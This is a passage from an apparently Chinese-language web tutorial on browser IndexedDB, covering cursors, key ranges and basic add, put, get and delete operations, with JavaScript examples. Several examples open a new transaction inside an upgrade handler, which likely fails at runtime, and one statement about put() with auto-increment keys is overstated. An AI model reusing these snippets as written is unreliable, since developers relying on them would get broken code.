&#x7684;&#x6807;&#x51C6;&#x505A;&#x6CD5;&#x3002;&#x7531;&#x6B64;&#x53EF;&#x4EE5;&#x603B;&#x7ED3;&#x51FA;&#x6E38;&#x6807;&#x5C31;&#x662F;&#x5BF9;&#x5DF2;&#x77E5;&#x7684;&#x96C6;&#x5408;&#x5BF9;&#x8C61;&#xFF08;&#x6BD4;&#x5982; objectStore &#x6216; indexView&#xFF09;&#x8FDB;&#x884C;&#x904D;&#x5386;&#xFF0C;&#x5728; <code>onsuccess</code> &#x56DE;&#x8C03;&#x4E2D;&#x4F7F;&#x7528; <code>cursor.continue()</code> &#x6765;&#x8FDB;&#x884C;&#x63A7;&#x5236;&#x3002;</p>\n<h3 id=\"&#x4E3B;&#x952E;&#x8303;&#x56F4;\"><a name=\"&#x4E3B;&#x952E;&#x8303;&#x56F4;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4E3B;&#x952E;&#x8303;&#x56F4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4E3B;&#x952E;&#x8303;&#x56F4;\" class=\"plugin-anchor\" href=\"#&#x4E3B;&#x952E;&#x8303;&#x56F4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4E3B;&#x952E;&#x8303;&#x56F4;</h3>\n<p>&#x53EF;&#x4EE5;&#x4F7F;&#x7528; IDBKeyRange &#x5BF9;&#x8C61;&#x5B9A;&#x4E49;&#x7D22;&#x5F15;&#x7684;&#x8303;&#x56F4;&#x3002;&#x6B64;&#x5BF9;&#x8C61;&#x6709;&#x56DB;&#x79CD;&#x65B9;&#x6CD5;&#x7528;&#x4E8E;&#x5B9A;&#x4E49;&#x8303;&#x56F4;&#x7684;&#x9650;&#x5236;&#xFF1A;<code>upperBound()</code>&#x3001;<code>lowerBound()</code>&#x3001;<code>bound()</code> &#x548C; <code>only()</code>&#x3002;<code>upperBound()</code> &#x548C; <code>lowerBound()</code> &#x65B9;&#x6CD5;&#x6307;&#x5B9A;&#x4E86;&#x8303;&#x56F4;&#x7684;&#x4E0A;&#x9650;&#x548C;&#x4E0B;&#x9650;&#x3002;&#x53EF;&#x4EE5;&#x901A;&#x8FC7; <code>IDBKeyRange.lowerBound(indexKey)</code> &#x65B9;&#x6CD5;&#x6307;&#x5B9A;&#x7D22;&#x5F15;&#x7684;&#x4E0B;&#x8FB9;&#x754C;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code>IDBKeyRange.upperBound(indexKey)</code> &#x65B9;&#x6CD5;&#x6307;&#x5B9A;&#x7D22;&#x5F15;&#x7684;&#x4E0A;&#x8FB9;&#x754C;&#x3002;&#x5F53;&#x7136;&#x8FD8;&#x53EF;&#x4EE5;&#x4F7F;&#x7528; <code>bound()</code> &#x65B9;&#x6CD5;&#x540C;&#x65F6;&#x6307;&#x5B9A;&#x4E0A;&#x4E0B;&#x8FB9;&#x754C;&#xFF1A;<code>IDBKeyRange.bound(lowerIndexKey, upperIndexKey)</code>&#x3002;</p>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x770B;&#x4E00;&#x4E2A;&#x4EE3;&#x7801;&#x793A;&#x4F8B;&#xFF1A;&#x5728; myObjectStore &#x5BF9;&#x8C61;&#x5E93;&#x4E2D;&#x7684; price &#x5C5E;&#x6027;&#x4E0A;&#x521B;&#x5EFA;&#x4E86;&#x4E00;&#x4E2A;&#x7D22;&#x5F15;&#xFF0C;&#x5E76;&#x6DFB;&#x52A0;&#x4E86;&#x4E00;&#x4E2A;&#x5E26;&#x6709;&#x4E24;&#x4E2A;&#x8F93;&#x5165;&#x7684;&#x5C0F;&#x578B;&#x8868;&#x683C;&#xFF0C;&#x7528;&#x4E8E;&#x4E3A;&#x6E38;&#x6807;&#x8BBE;&#x7F6E;&#x8303;&#x56F4;&#x7684;&#x4E0A;&#x9650;&#x548C;&#x4E0B;&#x9650;&#x3002;&#x4EE3;&#x7801;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">function</span> <span class=\"token function\">searchItems</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">lower<span class=\"token punctuation\">,</span> upper</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>lower <span class=\"token operator\">===</span> <span class=\"token string\">&apos;&apos;</span> <span class=\"token operator\">&amp;&amp;</span> upper <span class=\"token operator\">===</span> <span class=\"token string\">&apos;&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token comment\">// &#x8BBE;&#x7F6E;</span>\n  <span class=\"token keyword\">let</span> range\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>lower <span class=\"token operator\">!==</span> <span class=\"token string\">&apos;&apos;</span> <span class=\"token operator\">&amp;&amp;</span> upper <span class=\"token operator\">!==</span> <span class=\"token string\">&apos;&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    range <span class=\"token operator\">=</span> IDBKeyRange<span class=\"token punctuation\">.</span><span class=\"token function\">bound</span><span class=\"token punctuation\">(</span>lower<span class=\"token punctuation\">,</span> upper<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>lower <span class=\"token operator\">===</span> <span class=\"token string\">&apos;&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    range <span class=\"token operator\">=</span> IDBKeyRange<span class=\"token punctuation\">.</span><span class=\"token function\">upperBound</span><span class=\"token punctuation\">(</span>upper<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n    range <span class=\"token operator\">=</span> IDBKeyRange<span class=\"token punctuation\">.</span><span class=\"token function\">lowerBound</span><span class=\"token punctuation\">(</span>lower<span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">11</span><span class=\"token punctuation\">)</span>\n  request<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onsuccess</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n    <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span>\n      <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n      <span class=\"token string\">&apos;readonly&apos;</span>\n    <span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">let</span> store <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">let</span> index <span class=\"token operator\">=</span> store<span class=\"token punctuation\">.</span><span class=\"token function\">index</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;price&apos;</span><span class=\"token punctuation\">)</span>\n    <span class=\"token comment\">// &#x7D22;&#x5F15;&#x6253;&#x5F00;&#x5E26;&#x6709;&#x4E3B;&#x952E;&#x96C6;&#x5408;&#x7684;&#x6E38;&#x6807;</span>\n    <span class=\"token keyword\">let</span> cursorRequest <span class=\"token operator\">=</span> index<span class=\"token punctuation\">.</span><span class=\"token function\">openCursor</span><span class=\"token punctuation\">(</span>range<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">let</span> results <span class=\"token operator\">=</span> <span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span>\n    cursorRequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onsuccess</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">let</span> cursor <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>cursor<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;&#x6E38;&#x6807;&#x4F4D;&#x7F6E;&#x5728;: &apos;</span><span class=\"token punctuation\">,</span> cursor<span class=\"token punctuation\">.</span>key<span class=\"token punctuation\">)</span>\n        results<span class=\"token punctuation\">.</span><span class=\"token function\">push</span><span class=\"token punctuation\">(</span>cursor<span class=\"token punctuation\">.</span>value<span class=\"token punctuation\">)</span>\n        cursor<span class=\"token punctuation\">.</span><span class=\"token function\">continue</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span> <span class=\"token keyword\">else</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token comment\">// &#x904D;&#x5386;&#x4E4B;&#x540E;&#x7684; object &#x6570;&#x636E;&#x5217;&#x8868;&#x7684;&#x7ED3;&#x679C;</span>\n        console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span>results<span class=\"token punctuation\">)</span>\n      <span class=\"token punctuation\">}</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<h2 id=\"indexeddb-&#x7684;&#x589E;&#x5220;&#x6539;&#x67E5;\"><a name=\"indexeddb-&#x7684;&#x589E;&#x5220;&#x6539;&#x67E5;\" class=\"anchor-navigation-ex-anchor\" href=\"#indexeddb-&#x7684;&#x589E;&#x5220;&#x6539;&#x67E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"indexeddb-&#x7684;&#x589E;&#x5220;&#x6539;&#x67E5;\" class=\"plugin-anchor\" href=\"#indexeddb-&#x7684;&#x589E;&#x5220;&#x6539;&#x67E5;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>IndexedDB &#x7684;&#x589E;&#x5220;&#x6539;&#x67E5;</h2>\n<p>&#x548C;&#x4EFB;&#x4F55;&#x6570;&#x636E;&#x5E93;&#x4E00;&#x6837;&#xFF0C;IndexedDB &#x4E5F;&#x662F;&#x8FDB;&#x884C;&#x6570;&#x636E;&#x5B58;&#x50A8;&#xFF0C;&#x5E76;&#x63D0;&#x4F9B;&#x4E00;&#x4E9B;&#x65B9;&#x5F0F;&#x8BA9;&#x5F00;&#x53D1;&#x8005;&#x53EF;&#x4EE5;&#x5BF9;&#x6570;&#x636E;&#x8FDB;&#x884C;&#x67E5;&#x8BE2;&#x3001;&#x6DFB;&#x52A0;&#x3001;&#x5220;&#x9664;&#x3001;&#x4FEE;&#x6539;&#x3002;&#x5F53;&#x4E00;&#x4E2A;&#x4E8B;&#x52A1;&#x5F00;&#x59CB;&#x4E4B;&#x540E;&#xFF0C;&#x5728;&#x5B83;&#x7684;&#x751F;&#x547D;&#x5468;&#x671F;&#x4EE5;&#x5185;&#xFF0C;&#x53EF;&#x4EE5;&#x5BF9; objectStore &#x8FDB;&#x884C;&#x6570;&#x636E;&#x64CD;&#x4F5C;&#xFF0C;&#x4E0B;&#x9762;&#x4F1A;&#x901A;&#x8FC7;&#x4E00;&#x4E9B;&#x7B80;&#x5355;&#x7684;&#x793A;&#x4F8B;&#x5BF9; IndexedDB &#x7684;&#x589E;&#x5220;&#x6539;&#x67E5;&#x64CD;&#x4F5C;&#x8FDB;&#x884C;&#x4ECB;&#x7ECD;&#x3002;</p>\n<h3 id=\"&#x83B7;&#x53D6;&#x6570;&#x636E;\"><a name=\"&#x83B7;&#x53D6;&#x6570;&#x636E;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x83B7;&#x53D6;&#x6570;&#x636E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x83B7;&#x53D6;&#x6570;&#x636E;\" class=\"plugin-anchor\" href=\"#&#x83B7;&#x53D6;&#x6570;&#x636E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x83B7;&#x53D6;&#x6570;&#x636E;</h3>\n<p>&#x524D;&#x9762;&#x4ECB;&#x7ECD;&#x8FC7;&#x5982;&#x4F55;&#x83B7;&#x53D6;&#x4E8B;&#x52A1;&#x4E2D;&#x7684; objectStore&#xFF0C;&#x73B0;&#x5728;&#x5C31;&#x7528;&#x83B7;&#x53D6;&#x5230;&#x7684; objectStore &#x8FDB;&#x884C;&#x6570;&#x636E;&#x64CD;&#x4F5C;&#xFF0C;&#x5982;&#x4E0B;&#x4EE3;&#x7801;&#x6240;&#x793A;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">6</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onsuccess</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span>\n    <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">&apos;readonly&apos;</span>\n  <span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> objectRequest <span class=\"token operator\">=</span> objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">get</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;100001&apos;</span><span class=\"token punctuation\">)</span>\n  objectRequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onsuccess</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token comment\">// &#x83B7;&#x53D6;&#x5230;&#x7684;&#x6570;&#x636E;</span>\n    <span class=\"token keyword\">let</span> object <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5728; IndexedDB &#x4E8B;&#x52A1;&#x673A;&#x5236;&#x4E0B;&#x8FDB;&#x884C;&#x64CD;&#x4F5C;&#x662F;&#x5F88;&#x9EBB;&#x70E6;&#x7684;&#xFF0C;&#x4E0A;&#x9762;&#x4EE3;&#x7801;&#x4E2D;&#x4F7F;&#x7528;&#x4E86; <code>objectStore.get()</code> &#x65B9;&#x6CD5;&#x83B7;&#x53D6;&#x4E3B;&#x952E;&#x503C;&#x4E3A; <code>100001</code> &#x7684; object&#xFF0C;&#x4F46;&#x662F;&#x83B7;&#x53D6;&#x8FC7;&#x7A0B;&#x662F;&#x4E00;&#x4E2A; Request &#x5BF9;&#x8C61;&#xFF0C;&#x53EA;&#x6709;&#x5728;&#x5176; <code>onsuccess</code> &#x4E8B;&#x4EF6;&#x4E2D;&#x624D;&#x80FD;&#x5F97;&#x5230;&#x83B7;&#x53D6;&#x5230;&#x7684;&#x7ED3;&#x679C;&#x3002;</p>\n<h3 id=\"&#x6DFB;&#x52A0;&#x6570;&#x636E;\"><a name=\"&#x6DFB;&#x52A0;&#x6570;&#x636E;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6DFB;&#x52A0;&#x6570;&#x636E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6DFB;&#x52A0;&#x6570;&#x636E;\" class=\"plugin-anchor\" href=\"#&#x6DFB;&#x52A0;&#x6570;&#x636E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6DFB;&#x52A0;&#x6570;&#x636E;</h3>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">7</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onupgradeneeded</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span>\n    <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">&apos;readwrite&apos;</span>\n  <span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x5199;&#x5165;&#x4E00;&#x6761;&#x6570;&#x636E;</span>\n  objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">add</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    id<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;100002&apos;</span><span class=\"token punctuation\">,</span>\n    name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;Zhang Fei&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x6DFB;&#x52A0;&#x6570;&#x636E;&#x4F7F;&#x7528; <code>objectStore.add()</code> &#x65B9;&#x6CD5;&#xFF0C;&#x4F20;&#x5165;&#x4E00;&#x4E2A; object&#x3002;&#x4F46;&#x662F;&#x8FD9;&#x4E2A; object &#x6709;&#x9650;&#x5236;&#xFF0C;&#x5B83;&#x7684;&#x4E3B;&#x952E;&#x503C;&#xFF0C;&#x4E5F;&#x5C31;&#x662F; id &#x503C;&#xFF0C;&#x4E0D;&#x80FD;&#x662F;&#x5DF2;&#x5B58;&#x5728;&#x7684;&#xFF0C;&#x5982;&#x679C; objectStore &#x4E2D;&#x5DF2;&#x7ECF;&#x6709;&#x4E86;&#x8FD9;&#x4E2A; id&#xFF0C;&#x90A3;&#x4E48;&#x4F1A;&#x62A5;&#x9519;&#x3002;&#x56E0;&#x6B64;&#xFF0C;&#x5728;&#x67D0;&#x4E9B;&#x7A0B;&#x5E8F;&#x4E2D;&#x4E3A;&#x4E86;&#x907F;&#x514D;&#x8FD9;&#x79CD;&#x60C5;&#x51B5;&#x7684;&#x53D1;&#x751F;&#xFF0C;&#x901A;&#x5E38;&#x4F1A;&#x4F7F;&#x7528; <code>objectStore.put()</code> &#x65B9;&#x6CD5;&#x3002;</p>\n<h3 id=\"&#x66F4;&#x65B0;&#x6570;&#x636E;\"><a name=\"&#x66F4;&#x65B0;&#x6570;&#x636E;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x66F4;&#x65B0;&#x6570;&#x636E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x66F4;&#x65B0;&#x6570;&#x636E;\" class=\"plugin-anchor\" href=\"#&#x66F4;&#x65B0;&#x6570;&#x636E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x66F4;&#x65B0;&#x6570;&#x636E;</h3>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">8</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onupgradeneeded</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span>\n    <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">&apos;readwrite&apos;</span>\n  <span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x66F4;&#x65B0;&#x4E00;&#x6761;&#x6570;&#x636E;</span>\n  objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">put</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    id<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;100002&apos;</span><span class=\"token punctuation\">,</span>\n    name<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;Zhang San&apos;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p><code>objectStore.put()</code> &#x65B9;&#x6CD5;&#x548C; <code>objectStore.add()</code> &#x65B9;&#x6CD5;&#x6709;&#x4E24;&#x5927;&#x533A;&#x522B;&#x3002;</p>\n<ul>\n<li>&#x5982;&#x679C; objectStore &#x4E2D;&#x5DF2;&#x7ECF;&#x6709;&#x4E86;&#x8BE5;id&#xFF0C;&#x5219;&#x8868;&#x793A;&#x66F4;&#x65B0;&#x8FD9;&#x4E2A;object&#xFF0C;&#x5982;&#x679C;&#x6CA1;&#x6709;&#xFF0C;&#x5219;&#x6DFB;&#x52A0;&#x8FD9;&#x4E2A; object&#x3002;</li>\n<li>&#x5728;&#x53E6;&#x4E00;&#x79CD;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x8BBE;&#x7F6E;&#x4E86; autoIncrement &#x4E3A; true &#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4E5F;&#x5C31;&#x662F;&#x4E3B;&#x952E;&#x81EA;&#x589E;&#x7684;&#x65F6;&#x5019;&#xFF0C;<code>objectStore.put()</code> &#x65B9;&#x6CD5;&#x5FC5;&#x987B;&#x4F20;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#xFF0C;&#x7B2C;&#x4E8C;&#x4E2A;&#x53C2;&#x6570;&#x662F;&#x4E3B;&#x952E;&#x7684;&#x503C;&#xFF0C;&#x4EE5;&#x6B64;&#x6765;&#x786E;&#x5B9A;&#x4F60;&#x8981;&#x66F4;&#x65B0;&#x7684;&#x662F;&#x54EA;&#x4E00;&#x4E2A;&#x4E3B;&#x952E;&#x5BF9;&#x5E94;&#x7684; object&#xFF0C;&#x5982;&#x679C;&#x4E0D;&#x4F20;&#x7684;&#x8BDD;&#xFF0C;&#x53EF;&#x80FD;&#x4F1A;&#x76F4;&#x63A5;&#x589E;&#x52A0;&#x4E00;&#x4E2A; object &#x5230;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x3002;&#x4ECE;&#x8FD9;&#x4E00;&#x70B9;&#x4E0A;&#x8BB2;&#xFF0C;&#x81EA;&#x589E;&#x5B57;&#x6BB5;&#x786E;&#x5B9E;&#x6BD4;&#x8F83;&#x96BE;&#x628A;&#x63E1;&#xFF0C;&#x56E0;&#x6B64;&#x6211;&#x5EFA;&#x8BAE;&#x5F00;&#x53D1;&#x8005;&#x4E25;&#x683C;&#x81EA;&#x5DF1;&#x5728;&#x4F20;&#x5165;&#x65F6;&#x4FDD;&#x8BC1; object &#x4E2D;&#x5B58;&#x5728;&#x4E3B;&#x952E;&#x503C;&#x3002;</li>\n</ul>\n<h3 id=\"&#x5220;&#x9664;&#x6570;&#x636E;\"><a name=\"&#x5220;&#x9664;&#x6570;&#x636E;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5220;&#x9664;&#x6570;&#x636E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5220;&#x9664;&#x6570;&#x636E;\" class=\"plugin-anchor\" href=\"#&#x5220;&#x9664;&#x6570;&#x636E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5220;&#x9664;&#x6570;&#x636E;</h3>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">let</span> request <span class=\"token operator\">=</span> window<span class=\"token punctuation\">.</span>indexedDB<span class=\"token punctuation\">.</span><span class=\"token function\">open</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;mydb&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token number\">9</span><span class=\"token punctuation\">)</span>\nrequest<span class=\"token punctuation\">.</span><span class=\"token function-variable function\">onupgradeneeded</span> <span class=\"token operator\">=</span> <span class=\"token parameter\">e</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">let</span> db <span class=\"token operator\">=</span> e<span class=\"token punctuation\">.</span>target<span class=\"token punctuation\">.</span>result\n  <span class=\"token keyword\">let</span> transaction <span class=\"token operator\">=</span> db<span class=\"token punctuation\">.</span><span class=\"token function\">transaction</span><span class=\"token punctuation\">(</span>\n    <span class=\"token punctuation\">[</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n    <span class=\"token string\">&apos;readwrite&apos;</span>\n  <span class=\"token punctuation\">)</span>\n  <span class=\"token keyword\">let</span> objectStore <span class=\"token operator\">=</span> transaction<span class=\"token punctuation\">.</span><span class=\"token function\">objectStore</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;myObjectStore&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token comment\">// &#x5220;&#x9664;&#x4E00;&#x6761;&#x6570;&#x636E;</span>\n  objectStore<span class=\"token punctuation\">.</span><span class=\"token function\">delete</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;100001&apos;</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p><code>objectStore.delete()</code> &#x65B9;&#x6CD5;&#x5C06;&#x4F20;&#x5165;&#x7684;&#x4E3B;&#x952E;&#x503C;&#x5BF9;&#x5E94;&#x7684; object &#x4ECE;&#x6570;&#x636E;&#x5E93;&#x4E2D;&#x5220;&#x9664;&#x3002;</p>\n<h2 id=\"&#x5229;&#x7528;-indexeddb-&#x5B9E;&#x73B0;-db-&#x7C7B;\"><a name=\"&#x5229;&#x7528;-indexeddb-&#x5B9E;&#x73B0;-db-&#x7C7B;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5229;&#x7528;-indexeddb-&#x5B9E;&#x73B0;-db-&#x7C7B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5229;&#x7528;-indexeddb-&#x5B9E;&#x73B0;-db-&#x7C7B;\" class=\"plugin-anchor\" href=\"#&#x5229;&#x7528;-indexeddb-&#x5B9E;&#x73B0;-db-&#x7C7B;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5229;&#x7528; IndexedDB &#x5B9E;&#x73B0; DB &#x7C7B;</h2>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x5229;&#x7528; IndexedDB &#x5B9E;&#x73B0;&#x4E00;&#x4E2A; DB &#x7C7B;&#xFF0C;&#x5C06; IndexedDB 